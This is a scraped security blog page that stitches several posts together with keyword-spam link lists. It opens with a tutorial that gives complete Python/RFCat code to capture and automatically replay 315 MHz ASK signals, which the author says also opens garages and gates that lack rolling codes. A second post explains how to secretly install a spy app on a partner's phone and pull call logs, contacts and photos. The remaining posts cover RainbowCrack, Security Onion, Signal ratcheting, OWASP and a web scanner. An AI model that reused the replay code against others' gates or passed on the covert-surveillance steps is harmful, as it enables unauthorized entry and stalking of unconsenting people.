Hacking Everything With RF And Software Defined Radio - Part 2

YardStick One Unleashed, Automating RF Attacks In Python - An RFCat Primer 


I decided to dive into our current device a bit more before moving on to a new device, and really ramp up the skillsets with RFCat and the Yardstick.  So for this blog you will need our previous Target and a Yardstick One. We will be hacking everyting using only the Yardstick and Python.
If your really bored and want to follow me:
Twitter: @Ficti0n
Site: cclabs.io or consolecowboys.com


Purchase Devices needed to follow this blog series: 

Target 1:(from the last blog)

YardStick One: (from the last blog)


So last time we scanned for signals with GQRX and a Software Defined Radio device. We took the demodulated wave forms in Audacity and discerned what the binary representation of our wave forms were by decoding them manually. We then transferred those into a hex format that our yardstick understood.  However there is a way to do everything with our Yardstick. It will require a bit more understanding of the RFCat library, and a bit of python. 
This blog will be your RFCAT primer and coding tutorial, but don't be scared with the word "Programming" I will be using simple code, nothing complicated. So if your a programmer, tune out any coding explanation and understand RFCat, if your not a coder, then use this as a jumping point to start making some quick python scripts for hacking. 


Video Series PlayList Associated with this blog:






The first thing we did in our last blog after looking up the frequency was to open up GQRX and check if we can see our devices signals. As it turns out you can actually do this in python with RFCat. Which is really convenient if you left your Software Defined Radio dongle at home but happen to have access to a Yardstick. 

RFCat as a Spectrum Analyzer: 

In order to use RFCat as a spectrum analyzer we need to make sure we have RFcat installed and a few prerequisites such as python and PySide modules.  I actually did this inside of an Ubuntu VMware because Pyside was giving me issues on OSX and I didn't feel like trying to fix it. So If you spin up an ubuntu vm you can do the following to get things up and running.. 

Install Spectrum Analyzer PreReqs:
sudo pip install PySide
sudo apt-get install ipython

Plug in your adapter and type in the following: 
rfcat -r 
d.specan(315000000)

You will then see the below output of RFCat Specan running in the 315 MHz range. 
Click our doorbell, or trip the motion sensor and you will see a frequency spike as shown in the second picture. 
This is similar to what you saw in GQRX but all with your Yardstick and the Python RFCat library.  





So everything seems to be working and we can see our devices transmitting on the 315MHz frequency.  Unfortunately we have no record button on Spescan. This leaves us to dive a little deeper into RFCat. We will see what RFCat can do for us in the recording and sniffing capacity. 


Sniffing RF Data With The YardStick and Python: 

In RFCat there is a simple listening command in our interactive session which will give us an idea of what is being transmitted and in what type of data format we are recieving. When using GQRX we received a WAV file, but what does RFCat give us?  One thing I have realized over the years is programming is all about dealing with data in various formats and figuring out how to parse and use it in various implementations. So the first thing we have to figure out is what kind of data we are dealing with. 

Lets hop back into RFCat and set a few parameters so the yardstick knows to listen on 315MHz and to use ASK modulation.  The settings below should all be familiar from our last blog with an exception of "lowball" which configures the radio to use the lowest level of filtering. We basically want to see everything but may experience some noise by not filtering it out.. For example before you hit your doorbell button you may see random FF FF FF FF data outputted to the screen.

Below is the cmdline input needed and some example output. After all of our settings are in place we can use RF.listen() to start listening for everything in the 315000000 frequency range and have it output to the screen.  

After you set it up, you can press the button on your doorbell and you will receive the following output. We have lots of zeros and what might be some hex output. 

Destroy ficti0n$ rfcat -r


>>> d.setFreq(315000000)
>>> d.setMdmModulation(MOD_ASK_OOK)
>>> d.setMdmDRate(4800)
>>> d.setMaxPower()
>>> d.lowball()
>>> d.RFlisten()
Entering RFlisten mode...  packets arriving will be displayed on the screen
(press Enter to stop)

(1508637518.258) Received:  c000842139ce0000000000000021bdc218c631bdef00000000000000309ce10842109ce700000000000000109ce10842109ce70000000000000010def18c6318def780000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000  | ...!9........!....1.........0...B..............B..............c...........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns.................................................


If you hit "ENTER" in your terminal you will stop receiving packets and drop back into a python interactive terminal. If we take a look at the repeating pattern in the above output, it looks like some random patterns and then a repeating pattern of, 84e708421084e738.  If we convert that to binary we can compare with what we decoded WAV from our previous blog. 

Since we are already in a python terminal you can type the following to see the binary representation:

>>> bin(int("84e708421084e738",16))[2:]
'1000010011100111000010000100001000010000100001001110011100111000'

 Lets break that up into 8 bit bytes and compare it to our previous blogs binary, hmm its lot different then what we originally decoded the signal to be: 
New: 10000100 11100111  00001000 01000010  00010000  10000100   11100111    00111000
Orig:  10111000 10001011 10111000 10001000  10001011   10111011   10000000

If we take the above capture data and format it correctly for RFcat with the replay code from the last blog.  When we send it over, it does indeed ring the doorbell, thats interesting. A completely different value in both hex and in binary and still we get a doorbell to ring. So the variance we talked about last time extends a bit more.  Below is the code with the new hex from the capture data:

from rflib import * 

d = RfCat()
d.setFreq(315000000)
d.setMdmModulation(MOD_ASK_OOK)
d.setMdmDRate(4800)

print "Starting"
d.RFxmit("\x84\xe7\x08\x42\x10\x84\xe7\x38\x00\x00\x00\x00\x00\x00"*10)
print 'Transmission Complete'


TroubleShooting Antenna Issues: 

I will also take a minute to note something before we continue. I had a little trouble at first when using a telescopic antenna in RFcat and the YardStick.  So I will list those issues below as notes for you to play with if you run into random looking captures when pressing your doorbell button. 
  • When using a telescopic antenna closed I had almost repeating output with some random bits flipped
  • When extending the antenna it went crazy output with random noise
  • I then used a small rubber ducky antenna and got the repeating output shown above. 

What we have done so far: 

So above, we managed to figure out the following all in RFCat 
  • Verify the frequency with RFCat
  • How can I listen for it and capture a transmission with RFCat
  • How can I send this transmission with RFCat


We have basically eliminated the immediate need for the graphical tools that we were using in the last blog. Not to say that they are not useful. They absolutely are, and we should use them often and know how to work with all kinds of formats and understand everything.. However, if we are living in a reality that all we have is a Yardstick and no other tools. We are not helpless and we can still kick some serious RF butt. 

Now we are going to take this a bit further so we can learn some more about RFCat, Python and mistakes  I made when trying to automate this stuff. I found some interesting quirks I had to work through and I would like to save others some time who are also in the learning process as I am. 

Using RFrecv() for Listening: 

Ok first thing I learned is that RFListen() is not all that useful when it comes to automating this stuff. I tried to set its output to a variable but that did not seem to work.. So instead we will be working with another feature that lets us listen and that is RFrecv().  If we fire up our RFCat in the terminal again we can give that a try: 

Destroy:~ ficti0n$ rfcat -r
>>> d.setFreq(315000000)
>>> d.setMdmModulation(MOD_ASK_OOK)
>>> d.setMdmDRate(4800)
>>> d.setMaxPower()
>>> d.lowball()
>>> d.RFrecv()
Traceback (most recent call last):
  File "", line 1, in
  File "/Library/Python/2.7/site-packages/rflib/chipcon_nic.py", line 1376, in RFrecv
    data = self.recv(APP_NIC, NIC_RECV, timeout)
  File "/Library/Python/2.7/site-packages/rflib/chipcon_usb.py", line 664, in recv
    raise(ChipconUsbTimeoutException())
ChipconUsbTimeoutException: Timeout waiting for USB response.


OK thats not cool we are getting a weird error if we don't get a signal right away regarding ChipconUsbTimeoutException.  

No problem since we are in a python terminal we can just capture this exception and pass it, then continue with sniffing.  This is done with a Try/Except block. 

try:
...     d.RFrecv()
... except ChipconUsbTimeoutException:
...     pass
...


That looks a little better, I am no longer receiving errors, but lets put this in a loop so we are continuously listening with RFrecv() and press our doorbell so we can capture our doorbell signal.  Below is the output of a random signal that came in followed by our doorbell.. but its all kinds of crazy looking and a bit hard to read: 

try:
...     d.RFrecv()
... except ChipconUsbTimeoutException:
...     pass
...
while True:
...     try:
...             d.RFrecv()
...     except ChipconUsbTimeoutException:
...             pass



Lets try to fix the output a little and make it more readable by encoding it before we view it. Open up your text editor and use the following code.  What we are doing here is simply setting up our listener as we did before and then setting it to a variable we can use. 

Line 12: Setting our RFrecv() output to the variable y and z. The y variable is the output that we want 
Line 13: We will wrap the y variable with an encode function to encode it with a HEX encoding. 
Line 14: After that we just print it out. 




When we run this script from the command line we will get a much nicer output shown below, much like we did with the RFlisten function above. The big difference being that our data is now set to the variable "capture"  on line 13 and we can do what we want with that data. For example we can directly replay that data rather then manually performing the actions.  




Parsing and replaying data: 

This actually took me a bit of time to figure out, so we need to do a few things to get this to work: 
  • We need to parse out the data from the surrounding 0s
  • We need to convert it to a format we can send (tricker then it sounds) 
  • We need to add padding and send that data over (We know how to do this already) 


Parsing Data: 

So with this I first tried all kinds of regular expressions, but for some reason the inverse of more then 3 zeros in a row does not seem to work. I am no regex master but that seemed like it should be working. I then tried a few creative solutions reducing repeating zeros down to pairs that I could split on with string functions. This actually worked well but then my buddy showed me this which was more efficient: 

re.split ('0000*', capture)

All this is doing is using the regex library to parse on a set of 4 or more zeros  and return whats left in a list of useable hex data for sending.  So lets add that into our code and give it a try to see what we get back.  I made the following code changes: 

Line 2: Import the Regex library
Line 11: We defined the capture variable so we can access it outside of the Try Block and the loop
Line 21: We created a payloads variable and created a list from the capture file of non 0000 blocks
Line 22: We print out our list of useable payloads which can been seen in the below output




Data Format Woes:

So we have data in a list we can pull from, thats awesome but I ran into a few issues. I first tried to parse this data into the \x format we normally used when sending our attack payloads manually, but that actually does not work. Reason being that if I use a code snippet like the following to convert this data into the right format everything looks ok and something like this \x84\xe7\x08\x42\x10\x84\xe7. But it won't actually work when I send it with RFCat. For some reason when you paste in your own hex its in a different format then if you programmatically create hex like below.  You don't really need to understand the code below, just know it takes our payload and creates the hex in a visual format to what we used in the last blog: 

DON'T USE THIS.. IT WONT WORK!!! 
for payload in payloads: 
    formatted = ""
    if (len(payload) > 6) and (len(payload) % 2 == 0):
    
        print "Currently being formatted: " + payload 
        iterator = iter(payload)
        for i in iterator:
            formatted += ('\\x'+i + next(iterator))
    else:
        continue

Formatted Hex Vs Manually Pasted Hex
So lets compare the outputs of our manually created Hex String versus what we get when we format with the above code 
Below is the output of the following:
  • Your encoded capture
  • Your parsed payloads in a nice list
  • Your payload being processed into hex. 
But this is where things go wrong, you then have :
  • Your nicely formatted Hex created by your code above (Yay for us) 
  • Then you have your manually pasted in hex from your original attack payloads as unprintable characters  (What?)




 You can clearly see there is a major difference between when we manually paste in our hex like we did in the last blog and when we create it from our capture file.  This led to another sleepless night of researching whats going on. I did a bunch of troubleshooting until I found some code on the RFcat site and saw it using the BitString library and something called BitArray.  The examples for this library were using binary data instead of hex and then converting it. 


BitString BitArray Formating FTW: 

If you remember above we created binary input with some python, so lets use that code in our current program template and then feed it into byteArray and see what happens. We can install bitstring with the following: 

Install Bitstring:
sudo pip install bitstring

Our New code using BitString: 
Line 2:   I imported bitstring
Line 25: I added a for loop to go through our payload list one by one
Line 27: I convert our current payload to binary
Line 28: I take that binary and I feed it into bitstring to fix the formatting issues
Lines 29-30:  Print out our binary and our new data that match our manually pasted data format, shown below




With these conversions the data above looks like its correct to attack our target devices. I know this seems like a lot of steps, but honestly this is only 50 lines of code in all to automate our replay attacks in a simple way.  It is also very easy if you know what your doing and don't spend all of your time figuring it out like I did.  You just need to understand how to work with the types of data each component understands. 

With this latest code update we are ready to send our code with a simple modification to our RFxmit line from the last blog. We will now change RXxmit to take our formatted variable and then append our padding: 

d.RFxmit((formated+"\x00\x00\x00\x00\x00\x00")*10)


Below is our full code to automate this attack, with a few changeups, but not many.. Really all I did was add some conditional statements to limit our data to longer payloads that are divisible by 2 since our hex takes 2 string characters for example \x41 is the string character 4 and 1.  I originally did this for the iterator code which required the proper amount of characters but decided to leave it since it makes sense anyway.  I also set it so that if there is a capture it breaks out of the loop. This way we are not continuously attacking every transmission we see. Instead for our testing we can hit our doorbell, replay all the values before our script finishes and exits. 


Note: I sent similar code to a friend and had him run it against a black box real world target. He had permission to attack this target via the owner of a facility and it worked flawlessly.  So although a doorbell is a trivial target. This same research applies to garages, gates, and any other signal not using protection mechanism such as rolling code, multiple frequencies at once etc.

Also note that when you run this, almost all of the payloads in your list will ring the doorbell which is why I put a timing variable before the sending command. This way your doorbell isn't overburdened. I already broke a few of these devices during testing LOL. 
I have since modified this code to be more effective, and have additional features and more niceties, I will release that code when its ready.. For now enjoy the below code and hit me up with any questions or comments.


#—————YardStick_InstantReplay_SimpleVersion.py ----------#
# @Ficti0n
# http://consolecowboys.com 


from rflib import *
import time
import re
import bitstring

print("Listening for them signals in ASK")
d = RfCat()
d.setFreq(315000000)
d.setMdmModulation(MOD_ASK_OOK)
d.setMdmDRate(4800)
d.setMaxPower()
d.lowball()

#-----------Start Capture 1 Transmission ----------#
capture = ""
while (1):
    try:
        y, z = d.RFrecv()
        capture = y.encode('hex')
        print capture
        
    except ChipconUsbTimeoutException: 
        pass
    if capture:
        break

#Parse Hex from the capture by reducing 0's
payloads = re.split ('0000*', capture)
print payloads

#----------Start Parse and Create Payload---------#
for payload in payloads: 
    
    formated = ""
    if (len(payload) > 6) and (len(payload) % 2 == 0):
        print "Currently being formatted to binary: " + payload 
        binary = bin(int(payload,16))[2:]
        print binary
        print "Converting binary to bytes: "
        formatted = bitstring.BitArray(bin=(binary)).tobytes()
    else:
        continue

#------------Send Transmission--------------------#
    time.sleep(2)
    print "Sending bytes with padding"
    d.RFxmit((formatted+"\x00\x00\x00\x00\x00\x00")*10)
    print 'Transmission Complete'


Thats All Folks, Whats Next: 


I hope this blog is helpful in demystifying RFCat in order to successfully perform/automate attacks with only Python and your Yardstick One. This is essentially a few nights of my research posted here for everyone to learn from. Because it was a pain to find useful information, and I would like to save other people a lot of sleepless nights. I am by no means the master of RF or RFCat, there is tons more to learn.  Up next I will get back on track with a real world attack against a device and creating our own keyfobs to replay our attacks in the future. 

More information


  1. Hacking Tools For Kali Linux
  2. Hacking Tools Usb
  3. Hackrf Tools
  4. How To Make Hacking Tools
  5. Computer Hacker
  6. Pentest Automation Tools
  7. How To Install Pentest Tools In Ubuntu
  8. Hack Apps
  9. Pentest Tools Tcp Port Scanner
  10. Hack Tools Online
  11. Hacker Tools Apk Download
  12. Growth Hacker Tools
  13. New Hacker Tools
  14. How To Make Hacking Tools
  15. Physical Pentest Tools
  16. Hacking Tools For Kali Linux
  17. Hack Website Online Tool
  18. Hacker Tools Windows
  19. Pentest Tools Find Subdomains
  20. Hacking Tools For Games
  21. Hacker Tools For Ios
  22. Hacking Tools Github
  23. Pentest Recon Tools
  24. Android Hack Tools Github
  25. Pentest Tools Url Fuzzer
  26. Hacking Tools Github
  27. Tools Used For Hacking
  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • Twitter
  • RSS

How To Hack And Trace Any Mobile Phone With A Free Software Remotly

Hello Everyone, Today I am Going To Write a very interesting post for You ..hope you all find this valuable.. :
What is The cost to hire a spy who can able to spy your girlfriend 24X7 days..???? it's around hundreds of dollars Or Sometimes Even Thousands of dollars 🙁
But you are on Hacking-News & Tutorials so everything mentioned here is absolutely free.
would you be happy if I will show you a Secret Mobile Phone trick by which you can Spy and trace your girlfriend, spouse or anyone's mobile phone 24 X 7 which is absolutely free?The only thing you have to do is send an SMS like SENDCALLLOG To get the call history of your girlfriend's phone.isn't it Sounds Cool... 🙂
Without Taking Much Of Your Time…
let's Start The trick…
STEP 1: First of all go to android market from your Girlfriend, spouse, friends or anyone's phone which you want to spy or download the app mentioned below.
STEP 2: Search for an android application named "Touch My life "

STEP 3: download and install that application on that phone.
STEP 4: Trick is Over 🙂
Now you can able to spy that phone anytime by just sending SMS to that phone.
Now give back that phone to your girlfriend.
and whenever you want to spy your girlfriend just send SMS from your phone to your Girlfriend phone Which are mentioned in Touch My Life manage to book.
I am mentioning some handy rules below…
1) Write "CALL ME BACK" without Quotes and Send it to your girlfriend's mobile number for an Automatic call back from your girlfriend's phone to your phone.
2)Write "VIBRATENSEC 30" without Quotes and send it to your girlfriend's mobile number to Vibrate your Girlfriend's Phone for 30 seconds.You can also change Values from 30 to anything for the desired Vibrate time.
3)Write "DEFRINGTONE" without Quotes and Send it to your girlfriend's mobile number..this will play the default ringtone on your girlfriend's phone.
4)Write "SEND PHOTO youremail@gmail.com" without Quotes and Send it to your girlfriend's mobile number.it will take the photo of the current location of your girlfriend and send it to the email address specified in the SMS as an attachment.it will also send a confirmation message to your number.
5)Write "SENDCALLLOG youremail@gmail.com" without Quotes and Send it to your girlfriend's mobile number ..it will send all the call details like incoming calls, outgoing calls, missed calls to the email address specified in the SMS.
6)Write "SENDCONTACTLIST youremail@gmail.com" without Quotes and Send it to your girlfriend's mobile number ..it will send all the Contact list to the email address specified in the SMS.
So Guys Above all are only some Handy features of touch my life…You can also view more by going to touch my life application and then its manage rules... 🙂
Enjoy..:)
Stay tuned with IemHacker … 🙂

Related articles


  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • Twitter
  • RSS

RainbowCrack


"RainbowCrack is a general purpose implementation of Philippe Oechslin's faster time-memory trade-off technique. In short, the RainbowCrack tool is a hash cracker. A traditional brute force cracker try all possible plaintexts one by one in cracking time. It is time consuming to break complex password in this way. The idea of time-memory trade-off is to do all cracking time computation in advance and store the result in files so called "rainbow table". It does take a long time to precompute the tables. But once the one time precomputation is finished, a time-memory trade-off cracker can be hundreds of times faster than a brute force cracker, with the help of precomputed tables." read more...

Website: http://www.antsight.com/zsl/rainbowcrack

More articles
  1. Hacker Tools Apk
  2. Hack Tools Download
  3. Nsa Hack Tools
  4. Tools For Hacker
  5. Pentest Tools Bluekeep
  6. Hack Tool Apk
  7. Hack Tools Github
  8. Hacking Tools For Games
  9. Hacking Apps
  10. Pentest Reporting Tools
  11. Hack Apps
  12. Hack Apps
  13. Hack Tools Online
  14. Hacker Tools For Mac
  15. Best Pentesting Tools 2018
  16. Pentest Tools Find Subdomains
  17. Install Pentest Tools Ubuntu
  18. Hacker Tools Apk Download
  19. Physical Pentest Tools
  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • Twitter
  • RSS

Security Onion - Linux Distro For IDS, NSM, And Log Management


Security Onion is a free and open source Linux distribution for intrusion detection, enterprise security monitoring, and log management. It includes Elasticsearch, Logstash, Kibana, Snort, Suricata, Bro, OSSEC, Sguil, Squert, NetworkMiner, and many other security tools. The easy-to-use Setup wizard allows you to build an army of distributed sensors for your enterprise in minutes!

Security-onion project
This repo contains the ISO image, Wiki, and Roadmap for Security Onion.

Looking for documentation?
Please proceed to the Wiki.

Screenshots








Read more
  1. Hacker Tools
  2. Hack Tools Download
  3. Hack Tools Pc
  4. Ethical Hacker Tools
  5. Pentest Tools For Mac
  6. Beginner Hacker Tools
  7. Pentest Tools Open Source
  8. Hacking Tools Github
  9. Pentest Reporting Tools
  10. Hacker Tools List
  11. Hack Tools For Windows
  12. Blackhat Hacker Tools
  13. Hacking Tools Software
  14. Hack Tools Download
  15. Hackers Toolbox
  16. Nsa Hack Tools
  17. Hack App
  18. Pentest Tools For Ubuntu
  19. Pentest Tools Review
  20. Hack Tools Mac
  21. Growth Hacker Tools
  22. Usb Pentest Tools
  23. Hacking Tools Free Download
  24. Hacking Tools For Windows 7
  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • Twitter
  • RSS

Why Receipt Notifications Increase Security In Signal

This blog post is aimed to express and explain my surprise about Signal being more secure than I thought (due to receipt acknowledgments). I hope you find it interesting, too.

Signal, and especially its state update protocol, the Double Ratchet algorithm, are widely known for significantly increasing security for instant messaging. While most users first see the end-to-end security induced by employing Signal in messaging apps, the properties achieved due to ratcheting go far beyond protecting communication against (active) attackers on the wire. Due to updating the local device secrets via the Double Ratchet algorithm, the protocol ensures that attackers, who temporarily obtain a device's local storage (on which Signal runs), only compromise confidentiality of parts of the communications with this device. Thus, the leakage of local secrets from a device only affects security of a short frame of communication. The exact duration of compromise depends on the messaging pattern among the communicating parties (i.e., who sends and receives when), as the state update is conducted during the sending and receiving of payload messages.


The Double Ratchet

The Double Ratchet algorithm consists of two different update mechanisms: the symmetric ratchet and the asymmetric ratchet. The former updates symmetric key material by hashing and then overwriting it with the hash output (i.e.,  k:=H(k)). Thus, an attacker, obtaining key material can only predict future versions of the state but, due to the one-wayness of the hash function, cannot recover past states. The asymmetric ratchet consists of Diffie-Hellman key exchanges (DHKE). If, during the communication, party A receives a new DH share gb as part of a message from the communication partner B, then A samples a new DH exponent a and responds with the respective DH share ga in the next sent message. On receipt of this DH share, B will again sample a new DH exponent b' and attach the DH share gb' to the next message to A. With every new DH share, a new DHKE gab is computed among A and B and mixed into the key material (i.e., k:=H(k,gab)). For clarity, I leave out a lot of details and accuracy. As new DH shares ga and gb are generated from randomly sampled DH exponents a and b, and the computation of gab is hard if neither a nor b are known, the key material recovers from an exposure of the local secrets to an attacker after a new value gab was freshly established and mixed into it. Summing up this mechanism, if an attacker obtains the local state of a Signal client, then this attacker cannot recover any previously received message (if the message itself was not contained in the local state), nor can it read messages that are sent after a new gab was established and mixed into the state. The latter case happens with every full round-trip among A and B (i.e., A receives from B, A sends to B, and A receives again from B).
Conceptual depiction of Double Ratchet in Signal two years ago (acknowledgments were only protected between client and server). The asymmetric ratchet fully updates the local secrets after one round-trip of payload messages.

Research on Ratcheting

During the last two years, the Signal protocol inspired the academic research community: First, a formal security proof of Signal was conducted [1] and then ratcheting was formalized as a generic primitive (independent of Signal) [2,3,4]. This formalization includes security definitions that are derived via 1. defining an attacker, 2. requiring security unless it is obvious that security cannot be reached. Protocols, meeting this optimal notion of security, were less performant than the Double Ratchet algorithm [3,4]. However, it became evident that the Double Ratchet algorithm is not as secure as it could be (e.g., recovery from exposure could be achieved quicker than after a full round-trip; see, e.g., Appendix G of our paper [3]). Afterwards, protocols (for slightly weakened security notions) were proposed that are similarly performant as Signal but also a bit more secure [5,6,7].

Protecting Acknowledgments ...

In our analysis of instant messaging group chats [8] two years ago (blog posts: [9,10]), we found out that none of the group chat protocols (Signal, WhatsApp, Threema) actually achieves real recovery from an exposure (thus the asymmetric ratchet is not really effective in groups; a good motivation for the MLS project) and that receipt acknowledgments were not integrity protected in Signal nor WhatsApp. The latter issue allowed an attacker to drop payload messages in transmission and forge receipt acknowledgments to the sender such that the sender falsely thinks the message was received. Signal quickly reacted on our report by treating acknowledgments as normal payload messages: they are now authenticated(-encrypted) using the Double Ratchet algorithm.

... Supports Asymmetric Ratchet

Two years after our analysis, I recently looked into the Signal code again. For a training on ratcheting I wanted to create an exercise for which the lines in the code should be found that execute the symmetric and the asymmetric ratchet respectively. Somehow I observed that the pure symmetric ratchet (only updates via hash functions) was nearly never executed (especially not when I expected it) when lively debugging the app but almost always new DH shares were sent or received. I realized that, due to encrypting the receipt acknowledgments now, the app always conducts full round-trips with every payload message. In order to observe the symmetric ratchet, I needed to temporarily turn on the flight mode on my phone such that acknowledgments are not immediately returned.
Conceptual depiction of Double Ratchet in Signal now (acknowledgments encrypted). The asymmetric ratchet fully updates the local secrets after an acknowledgment for a message is received.

Consequently, Signal conducts a full DHKE on every sent payload message (in case the receiving device is not offline) and mixes the result into the state. However, a new DH exponent is always already sampled on the previous receipt (see sketch of protocol above). Thus, the exponent for computing a DHKE maybe remained in the local device state for a while. In order to fully update the state's key material, two round-trips must be initiated by sending two payload messages and receiving the resulting two acknowledgments. Please note that not only the mandatory receipt acknowledgments are encrypted but also notifications on typing and reading a message.

If you didn't understand exactly what that means, here a tl;dr: If an attacker obtains your local device state, then with Signal all previous messages stay secure and (if the attacker does not immediately use these secrets to actively manipulate future conversations) all future messages are secure after you wrote two messages (and received receipt acknowledgments) in all of your conversations. Even though this is very (in practice certainly sufficiently) secure, recent protocols provide stronger security (as mentioned above) and it remains an interesting research goal to increase their performance.

[1] https://eprint.iacr.org/2016/1013.pdf
[2] https://eprint.iacr.org/2016/1028.pdf
[3] https://eprint.iacr.org/2018/296.pdf
[4] https://eprint.iacr.org/2018/553.pdf
[5] https://eprint.iacr.org/2018/889.pdf
[6] https://eprint.iacr.org/2018/954.pdf
[7] https://eprint.iacr.org/2018/1037.pdf
[8] https://eprint.iacr.org/2017/713.pdf
[9] https://web-in-security.blogspot.com/2017/07/insecurities-of-whatsapps-signals-and.html
[10] https://web-in-security.blogspot.com/2018/01/group-instant-messaging-why-baming.html

More info


  1. Pentest Tools Framework
  2. Pentest Automation Tools
  3. Hacker Tools Apk Download
  4. Hacking Tools For Windows Free Download
  5. Pentest Tools List
  6. Pentest Tools Url Fuzzer
  7. Hack Tools 2019
  8. Hack Rom Tools
  9. Pentest Tools Kali Linux
  10. Hack Tools For Windows
  11. Bluetooth Hacking Tools Kali
  12. Pentest Tools Find Subdomains
  13. World No 1 Hacker Software
  14. Pentest Tools Website
  15. Pentest Tools For Android
  16. Hacking Tools
  17. Github Hacking Tools
  18. Pentest Tools List
  19. Pentest Tools Subdomain
  20. Hacking Tools Download
  21. Pentest Tools Review
  22. Hack Tools Download
  23. Tools Used For Hacking
  24. Hack Rom Tools
  25. Hacker Tools For Mac
  26. Hacking Tools For Windows
  27. Hacking Tools Software
  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • Twitter
  • RSS

The OWASP Foundation Has Selected The Technical Writer For Google Season Of Docs

The OWASP Foundation has selected the technical writer for Google Season of Docs by Fabio Cerullo


The OWASP Foundation has been accepted as the organization for the Google Seasons of Docs, a project whose goals are to give technical writers an opportunity to gain experience in contributing to open source projects and to give open-source projects an opportunity to engage the technical writing community.

During the program, technical writers spend a few months working closely with an open-source community. They bring their technical writing expertise to the project's documentation, and at the same time learn about open source and new technologies.

The open-source projects work with the technical writers to improve the project's documentation and processes. Together they may choose to build a new documentation set, or redesign the existing docs, or improve and document the open-source community's contribution procedures and onboarding experience. Together, we raise public awareness of open source docs, of technical writing, and of how we can work together to the benefit of the global open source community.

After a careful review and selection process, the OWASP Foundation has picked the primary technical writer who will work along the OWASP ZAP Team for the next 3 months to create the API documentation of this flagship project.

Congratulations to Nirojan Selvanathan!

Please refer to the linked document where you could look at the deliverables and work execution plan.



Related word


  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • Twitter
  • RSS

Spaghetti: A Website Applications Security Scanner


About Spaghetti
   Author: m4ll0k   Spaghetti is an Open Source web application scanner, it is designed to find various default and insecure files, configurations, and misconfigurations. Spaghetti is built on Python 2.7 and can run on any platform which has a Python environment.

Spaghetti Installation:

Spaghetti's Features:
   Fingerprints:
  • Server:
  • Web Frameworks (CakePHP,CherryPy,...)
  • Web Application Firewall (Waf)
  • Content Management System (CMS)
  • Operating System (Linux,Unix,..)
  • Language (PHP,Ruby,...)
  • Cookie Security
   Discovery:
  • Bruteforce:Admin Interface
    Common Backdoors
    Common Backup Directory
    Common Backup File
    Common Directory
    Common FileLog File
  • Disclosure: Emails, Private IP, Credit Cards
   Attacks:
  • HTML Injection
  • SQL Injection
  • LDAP Injection
  • XPath Injection
  • Cross Site Scripting (XSS)
  • Remote File Inclusion (RFI)
  • PHP Code Injection
   Other:
  • HTTP Allow Methods
  • HTML Object
  • Multiple Index
  • Robots Paths
  • Web Dav
  • Cross Site Tracing (XST)
  • PHPINFO
  • .Listing
   Vulns:
  • ShellShock
  • Anonymous Cipher (CVE-2007-1858)
  • Crime (SPDY) (CVE-2012-4929)
  • Struts-Shock
Spaghetti Example:
python spaghetti --url example.com --scan 0 --random-agent --verbose


More articles
  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • Twitter
  • RSS